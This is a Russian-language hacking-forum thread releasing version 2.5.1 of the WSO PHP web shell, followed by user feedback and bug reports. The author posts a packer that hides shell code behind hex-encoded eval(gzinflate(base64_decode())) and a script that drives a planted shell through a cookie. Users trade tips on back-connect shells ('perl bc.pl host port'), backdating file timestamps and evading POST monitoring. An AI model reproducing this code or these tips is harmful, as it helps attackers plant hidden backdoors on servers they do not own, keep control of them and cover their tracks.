RDot

RDot (https://rdot.org/forum/index.php)
-   Релизы/Releases (https://rdot.org/forum/forumdisplay.php?f=11)
-   -   WSO 2.5 (web shell) (https://rdot.org/forum/showthread.php?t=1085)

oRb 31.12.2010 11:48

WSO 2.5.1 (web shell)
 
Вложений: 2
Данная утилита предоставляет веб-интерфейс для удаленной работы c операционной системой и ее службами/демонами.
Описание возможностей / особенности:
  • Авторизация на cookies
  • Информация о сервере
  • Файловый менеджер (Копирование, переименование, перемещение, удаление, чмод, тач, создание файлов и папок)
  • Просмотр, hexview, редактирование, скачивание, загрузка файлов
  • Работа с zip архивами (упаковка, распаковка) + сжатие в tar.gz
  • Консоль
  • SQL менеджер (MySql, PostgreSql)
  • Выполнение PHP кода
  • Работа со строками + поиск хеша в онлайн базах
  • Биндпорт и бек-коннект (Perl)
  • Bruteforce FTP, MySQL, PgSQL
  • Поиск файлов, поиск текста в файлах
  • Поддержка *nix-like и Windows систем
  • Антипоисковик (проверяется User-Agent, если поисковик, тогда возвращается 404 ошибка)
  • Можно использовать AJAX
  • Небольшой размер. Упакованная версия занимает 22.8 Kb
  • Выбор кодировки, в которой работает шелл.
Changelog (v2.5):
Код:

Вместо сессий теперь используется cookies
Исправлен поиск по exploit-db.com
Убран раздел Safe-mode
Шелл корректно работает при disabled_functions = scandir
Теперь можно искать не только текст в файлах, но и просто файлы по маске
Переработан mysql dump
Изменен список сервисов в "Search for hash"
Убраны изображения из phpinfo()
"Мелкая косметика"
Исправление других мелких багов

Альтернативные версии шелла, сделанные сообществом:

Nightmare 31.12.2010 15:37

Шикаарно, подарок на новый год, давно ждал, щас буду тестировать в боевых условиях.
Цитата:

Сообщение от oRb (Сообщение 11829)
Шелл корректно работает при disabled_functions = scandir

Как и советовал грей. Отлично, что на это было обращено внимание.

Единственное чё, oRb, ты бы всё таки выложил свой пакер, через preg_replace/e, я смотрю он хитрый, там смешанный HEX код с base64 сделан, пригодится.

tex 01.01.2011 04:35

Считаю большим упущением то что шел не отображает устройства и линки, возможно и еще что-то, сокеты и пайпы например.

Aels 01.01.2011 11:03

хм. от себя добавлю.
возможно имеет смысл при редактировании файла сразу применять к нему тач на предыдущую дату (всеравно это каждый раз делать руками)

oRb 01.01.2011 20:16

Цитата:

Сообщение от Aels (Сообщение 11890)
хм. от себя добавлю.
возможно имеет смысл при редактировании файла сразу применять к нему тач на предыдущую дату (всеравно это каждый раз делать руками)

Так и делается.
Цитата:

Сообщение от tex (Сообщение 11888)
Считаю большим упущением то что шел не отображает устройства и линки, возможно и еще что-то, сокеты и пайпы например.

Линки обрабатываются: в поле Size пишется - link, а при наведении указывается адрес. В пхп есть функции is_link, is_dir, is_file. Всю информацию я стараюсь обрабатывать только стандартными функциями, для максимальной совместимости с различными серверами.
Цитата:

Сообщение от Nightmare (Сообщение 11847)
Единственное чё, oRb, ты бы всё таки выложил свой пакер, через preg_replace/e, я смотрю он хитрый, там смешанный HEX код с base64 сделан, пригодится.

там все просто. Код оставил на работе, счас написать его заного не в состоянии. Скину позже)

tex 01.01.2011 22:48

Цитата:

Сообщение от oRb (Сообщение 11907)
Линки обрабатываются

А да, я ошибся- линки обрабатываются, но все остальное что я перечислил нет.
Не знаю какие именно нестандартные функции ты имеешь ввиду, но есть одна простая filetype() например.

M1lten 04.01.2011 17:18

Спасибо за обновление! Хотел задать вопрос.. Мне нужен один каталог, в нем много файлов, я выбираю Compress (zip), подтверждаю имя, но ничего не получается... Так же и с tar.gz . Наверное не установлен архиватор на сервере или что? Просто консоль почему-то тоже не могу использовать =(


Вот еще ошибка появляется
Цитата:

Warning: Invalid argument supplied for foreach() in /путь/ on line 594

Ctacok 04.01.2011 19:38

Скорее всего что в disable_function's есть system(), и возможно, что архивация идёт через системные команды.

tex 04.01.2011 19:59

И вот еще баг один появляется при сейфмоде когда readdir() видит файл а права не позволяют определить тип файла и в итоге он просто напросто не отображается.

Ну и еще мелочь -
Цитата:

Warning: date() [function.date]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Europe/Moscow' for 'MSK/3.0/no DST' instead in

b3 10.01.2011 16:40

Хотелось бы в новой версии видеть сортировку таблицы файлов на жаваскрипте, без перезагрузки страницы.
http://tablesorter.com/docs/
Если автор не возражает могу сам прикрутить и кинуть на перепроверку исходного кода.

Svet 10.01.2011 16:46

jQuery надо еще прикручивать будет. А это доп. вес...

SynQ 10.01.2011 16:57

Цитата:

Сообщение от b3 (Сообщение 12292)
Хотелось бы в новой версии видеть сортировку таблицы файлов на жаваскрипте, без перезагрузки страницы.
http://tablesorter.com/docs/
Если автор не возражает могу сам прикрутить и кинуть на перепроверку исходного кода.

Проще поставить TableTools, если firefox используешь, - будет сортировка везде, а не только в WSO.

hard 10.01.2011 17:50

Сортировка легко и быстро пишется на голом JS без всяких jquery.
SynQ, классная вещь

ТС, было бы неплохо прикрутить выполнение команд через proc_open и expect_popen!

b3 11.01.2011 14:25

имхо поиск хэшей по сервисам можно вообще убрать, да и crackfor.me ввели гавеную капчу которую я с 50го раза ввожу верно, хоть бы уже самопальную капчу соорудили под стиль сервиса.

recfrf 11.01.2011 23:49

Цитата:

Сообщение от Nightmare (Сообщение 11847)
Шикаарно, подарок на новый год, давно ждал, щас буду тестировать в боевых условиях.

Как и советовал грей. Отлично, что на это было обращено внимание.

Единственное чё, oRb, ты бы всё таки выложил свой пакер, через preg_replace/e, я смотрю он хитрый, там смешанный HEX код с base64 сделан, пригодится.

зачем пакер, там же все просто руками 5 сек делается, начало eval(base64_decode( и конец )); в hex и все.

b3 12.01.2011 12:47

recfrf хекс не сжимает данные, а наоборот увеличивает на 40 или 60% не помню точно.

oRb 12.01.2011 13:04

Да, там все просто.
PHP код:

<?php
$header 
'<?php # Web Shell by oRb
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = \'FilesMan\';
$default_use_ajax = true;
$default_charset = \'Windows-1251\';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\''
;

$footer '\'\x29\x29\x29\x3B",".");?>';

$content php_strip_whitespace('in.txt');
$content trim(preg_replace('/<\?(php)?/'''$content));
echo 
$header base64_encode(gzdeflate($content9)) . $footer;


bazowsky 15.01.2011 10:38

Выключить авторизацию, по $auth = 0; невозможно?

oRb 15.01.2011 12:26

Достаточно просто закомментировать $auth_pass

nemoy 18.01.2011 03:48

а можно как то с помощью шелла при выполнении команды - например в php разделе - получить только ответ команды без оболочки шелла
тоесть например пишу я в раздере php
print 'hello';
- и в ответ получаю только hello без остального кода шелла?

oRb 18.01.2011 11:29

nemoy, в шелл встроен функционал, для более удобного взаимодействия с менеджерами шеллов. Пример использования:
PHP код:

<?php
$url 
'http://test/wso2.php';
$password 'root';
$code 'phpinfo();';

$context stream_context_create(array('http' =>
    array(
        
'method'  => 'POST',
        
'header'  => array (
            
'Content-type: application/x-www-form-urlencoded',
            
'Cookie: ' md5(parse_url($urlPHP_URL_HOST)) . '=' md5($password)
        ),
        
'content' => http_build_query(
            array(
                
'a' => 'RC',
                
'p1' => $code
            
)
        )
    )
));

echo 
file_get_contents($urlfalse$context);


euro 29.01.2011 20:22

можешь ли сделать форму для указания порта при конекте к mysql и Postgresql ?

oRb 29.01.2011 20:53

В поле host можно указывать порт.
address:port

Лаврушкин 30.01.2011 19:48

Былоб неплохо еслиб всякие исполнения команд/евал кода передавались через HTTP_*,COOKIE ну или в тот же пост добавить code/decode того же base64 например.
Хоть и не частно..но бывает что за POST'ом следят и отслеживают всякие вкусности типо ls -la,passwd и т.д

Azz100 31.01.2011 09:51

Проблема с кодировкой. После запуска на Денвере:

http://savepic.net/516395m.png

http://savepic.net/517419m.png

nomad 02.02.2011 20:41

Поменяй кодировку в шелле

Mikki 05.02.2011 13:08

Недавно столкнулся с такой неприятностью, Safe Mode = ON. На сервере были отключены некоторые PHP функции, и приходилось для просмотра списка файлов, их атрибутов и т.д. лезть во вкладку PHP и там выполнять разные скрипты.
Код:


$dir = opendir("/home/.../public_html");
while(($file = readdir($dir)))
{
  print $file;
  print "\n";
}
closedir($dir);

Код:

 
echo substr(sprintf('%o', fileperms('index.php')), -4);
echo is_writable('index.php');

и т.д. и т.п.

Было довольно гемморно, появилась мысль, что было бы неплохо прикрутить подобный функционал к WSO, на случай Safe Mode ON.

nobody 05.02.2011 14:15

orly? какие же функции были отключены, что всо не смог пролистать папку, а твой скрипт смог?

oRb 05.02.2011 20:35

Да, такая бага/фича есть. Проблема заключается в том, что wso использует функции is_file, is_link, is_dir для определения типа записи. Но поскольку включен сейфмод, и uid владельца файла не совпадает с uid текущего процесса, эти функции возвращают false. И судя по мануалу (http://ru.php.net/manual/en/features.safe-mode.functions.php), мне не понятно почему в данной ситуации могут работать функции fileperms и is_writable.

Norton710 06.02.2011 12:42

Еще одна тема - шелл совершенно не видит русские символы в названиях папок и файлов и поэтому отказывается их открывать.. Смена кодировки не помогает в данном случае.

Svet 06.02.2011 12:56

Цитата:

Сообщение от Norton710 (Сообщение 13646)
Еще одна тема - шелл совершенно не видит русские символы в названиях папок и файлов и поэтому отказывается их открывать.. Смена кодировки не помогает в данном случае.

Localhost (Win 7).
Такой проблемы не наблюдается. Рус. буквы отображаются как надо.

oRb 06.02.2011 13:01

http://img52.imageshack.us/i/37481901.png
Как видите, все работает. Что пишет, какие права стоят, какая ОС?

Norton710 06.02.2011 13:20

Проверял на Windows XP с правами администратора. Русские названия встретил на рабочем столе, в шелле они обозначались квадратиками (скрина к сожалению нету). При попытке открытия шелл матерился.. Хотя возможно это единичный случай =)

mouse_kill 07.02.2011 01:54

было бы удобно сделать галочку при таче папки - тачить всё содержимое

Ctacok 07.02.2011 09:02

Цитата:

Сообщение от Norton710 (Сообщение 13650)
Проверял на Windows XP с правами администратора. Русские названия встретил на рабочем столе, в шелле они обозначались квадратиками (скрина к сожалению нету). При попытке открытия шелл матерился.. Хотя возможно это единичный случай =)

Со шрифтами табла. Ссоль в том что, он твой браузер их не понимает, либо ОС, и теже квадратики отправляет в шелл, а шелл не умеет из квадратиков в нормальные буквы переводить. Здесь трабла у клиента.

AloneKiller 07.02.2011 09:03

oRb, шел отличный, спасибо тебе за релиз. Есть пожелания, что было замечено ещё с ранних версий. Сделал, чтобы не подвисал шел после бек-коннекта, это супер, но bc.pl остаётся в /tmp, можно бы доделать, чтобы он делетился + иногда нету такой папки или прав, можно проверять запись того же bc.pl в папку с шелом, обычно на неё то права есть. Вообще конечно это мелочи, в целом всё отлично, если шел не может сделать бекконект, то залить самому bc.pl && perl bc.pl host port - пару сек :)

oRb 07.02.2011 11:42

Вообще файлы должны удаляются. И у меня при тестах все нормально отрабатывало. Здесь в чем-то другом дело.

Pashkela 07.02.2011 20:19

подтверждаю, в некоторых случаях bc.pl из /tmp приходится удалять вручную, зависимостей не искал, к сожалению

Chikago 12.02.2011 23:58

Еще проблемка.. не всегда шелл упаковывает в zip(залит шелл пробный и не упаковать на сервере папку полностью в zip) что может быть?, а тем более вообще не работает gzip ... кто что может сказать?

Norton710 13.02.2011 01:40

Chikago, мб на сервере вообще архиватора нету?


Часовой пояс GMT +3, время: 17:39.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot